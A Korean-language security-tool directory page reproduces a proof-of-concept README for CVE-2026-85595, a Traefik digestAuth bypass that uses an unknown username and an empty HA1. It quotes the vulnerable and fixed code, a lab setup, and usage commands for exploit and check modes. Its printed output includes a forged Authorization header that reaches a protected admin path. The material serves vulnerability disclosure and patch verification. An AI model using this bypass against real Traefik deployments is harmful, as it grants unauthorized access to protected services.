Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-85595-PoC — CVE-2026-85595 — Traefik digestAuth 인증 우회 (알 수 없는 사용자 이름 => 빈 HA1). 실험실 검증 완료: v3.7.10 우회, v3.7.11 401. | Kitploit
도구/GitHubGitHub/boreas37/cve-2026-85595-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthenticationLabs & Practice
GitHubboreas37/cve-2026-85595-poc

CVE-2026-85595-PoC

CVE-2026-85595 — Traefik digestAuth 인증 우회 (알 수 없는 사용자 이름 => 빈 HA1). 실험실 검증 완료: v3.7.10 우회, v3.7.11 401.

저장소 보기
13일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-85595 — Traefik digestAuth가 알 수 없는 사용자를 인증함 (빈 시크릿)

영향 받는 버전: Traefik < 2.11.55, 및 3.0.0 – 3.7.10 수정된 버전: 2.11.55 / 3.7.11 수정: containous/go-http-auth 커밋 b975dcaa8c48 "Reject DigestAuth when user secret is empty", 커밋 2116686308a2 (go.mod 범프)를 통해 Traefik에 벤더링됨 보안 공지: GHSA-4v96-rv7j-9wmr · CVSS 9.8 · CWE-287

메커니즘

Traefik의 digest 미들웨어는 자체 시크릿 조회를 통해 사용자의 HA1을 확인합니다 (pkg/middlewares/auth/digest_auth.go):

func (d *digestAuth) secretDigest(user, realm string) string {
	if secret, ok := d.users[user+":"+realm]; ok {
		return secret
	}
	return ""            // unknown user -> empty secret, not a rejection
}

go-http-auth의 CheckAuth는 그런 다음 해당 ""를 HA1로 받아 계산합니다 (수정 전 digest.go:191-203):

HA1 := da.Secrets(auth["username"], da.Realm)   // "" for an unknown user
HA2 := H(r.Method + ":" + auth["uri"])
KD  := H(HA1 + ":" + auth["nonce"] + ":" + auth["nc"] + ":" + auth["cnonce"] + ":" + auth["qop"] + ":" + HA2)

PlainTextSecrets는 Traefik에서 false이므로(사용자 파일에 이미 HA1이 포함되어 있음) HA1은 빈 문자열로 유지됩니다. HA1을 제외한 KD의 모든 입력은 공격자가 제어하거나 401 챌린지(nonce, opaque)에 의해 제공되며, uri 검사는 요청 자체의 경로를 허용합니다. 따라서 응답은 비밀번호 없이, 그리고 사용자 파일에 존재하는 사용자 이름 없이도 계산할 수 있습니다.

수정은 라이브러리의 세 줄입니다:

HA1 := da.Secrets(auth["username"], da.Realm)
if HA1 == "" {
	return "", nil
}

Traefik 자체는 코드 변경이 필요하지 않았고 의존성 범프만 필요했기 때문에 v3.7.11의 diff에는 digest_auth.go hunk가 포함되어 있지 않습니다.

Lab

역할이미지컨테이너호스트 포트
취약한 프록시traefik:v3.7.10poc-traefik-vuln-3710127.0.0.1:21010 → :8000
수정된 프록시traefik:v3.7.11poc-traefik-3711127.0.0.1:21011 → :8000
  • 라우터: 엔트리포인트 digest에서 PathPrefix(/admin), 미들웨어 digestAuth (realm=traefik-lab, usersFile=/etc/traefik/users.htdigest, removeHeader: true).
  • 사용자 파일: admin:traefik-lab:6002799976b7f2610ec21f5961f9e2e5 (admin:traefik-lab:S3cretLabPass). PoC에서 사용하는 사용자 ghost는 이 파일에 없습니다.
  • 백엔드: poc-traefik-app (python:3.12-alpine), /admin/*에 대해 ADMIN-AREA …를 제공합니다.
  • 레시피: lab/README.md.

사용법

python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010   # vulnerable
python3 cve_2026_85595.py check   --url http://127.0.0.1:21011   # fixed

--output FILE은 트랜스크립트를 기록하며, --path, --user는 대상 경로와 위조된 사용자 이름을 재정의합니다.

검증 (실제 출력)

1. 취약한 traefik:v3.7.10 — 우회

$ python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010
[*] target          : http://127.0.0.1:21010
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : exploit
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", opaque="kWFhikjHjyGSF8Yq", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 33b1b9b9e57144f3c02045c22dbd2772
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="33b1b9b9e57144f3c02045c22dbd2772", opaque="kWFhikjHjyGSF8Yq"
[*] forged request                    -> HTTP 200
    body: ADMIN-AREA secret admin panel for /admin/secret
    request_line: GET /admin/secret HTTP/1.1
    resolved_path: /admin/secret
=> PASS (digestAuth bypassed with unknown user 'ghost' and an empty HA1; protected content served with HTTP 200)

프록시 자체의 액세스 로그에는 위조된 신원이 인증된 사용자로 기록됩니다 (ClientUsername은 클라이언트 IP 다음의 두 번째 필드입니다):

192.168.48.1 - -     [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 401 17 "-" "-" 1 "digest-lab@file" "-" 0ms
192.168.48.1 - ghost [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 200 118 "-" "-" 3 "digest-lab@file" "http://app:8080" 6ms

2. 동일 프록시, 자격 증명 없음 (대조군)

$ curl -sS -o /dev/null -w '%{http_code}\n' http://127.0.0.1:21010/admin/secret
401

3. traefik:v3.7.11 고정 — 위조된 다이제스트 거부됨

$ python3 cve_2026_85595.py check --url http://127.0.0.1:21011
[*] target          : http://127.0.0.1:21011
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : check
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", opaque="NL8YFCUjlmHaxmZP", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 00cbf0f515f4663a98a223027faece2f
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="00cbf0f515f4663a98a223027faece2f", opaque="NL8YFCUjlmHaxmZP"
[*] forged request                    -> HTTP 401
    body: 401 Unauthorized
=> PASS (fixed: forged digest for an unknown user rejected with HTTP 401)

참고 / 제한 사항

  • PoC는 챌린지당 하나의 요청을 위조하며, 단일 사용 외에는 nonce 관리(nc)가 필요하지 않습니다.
  • 유효한 자격 증명은 어디에도 사용되지 않으며, 전송되는 유일한 사용자 이름은 사용자 파일에 존재하지 않는 이름입니다.
  • 동일한 기법은 영향을 받는 버전의 digestAuth로 보호된 모든 라우터와 2.11.x < 2.11.55에 대해서도 동작합니다.
도구 다운로드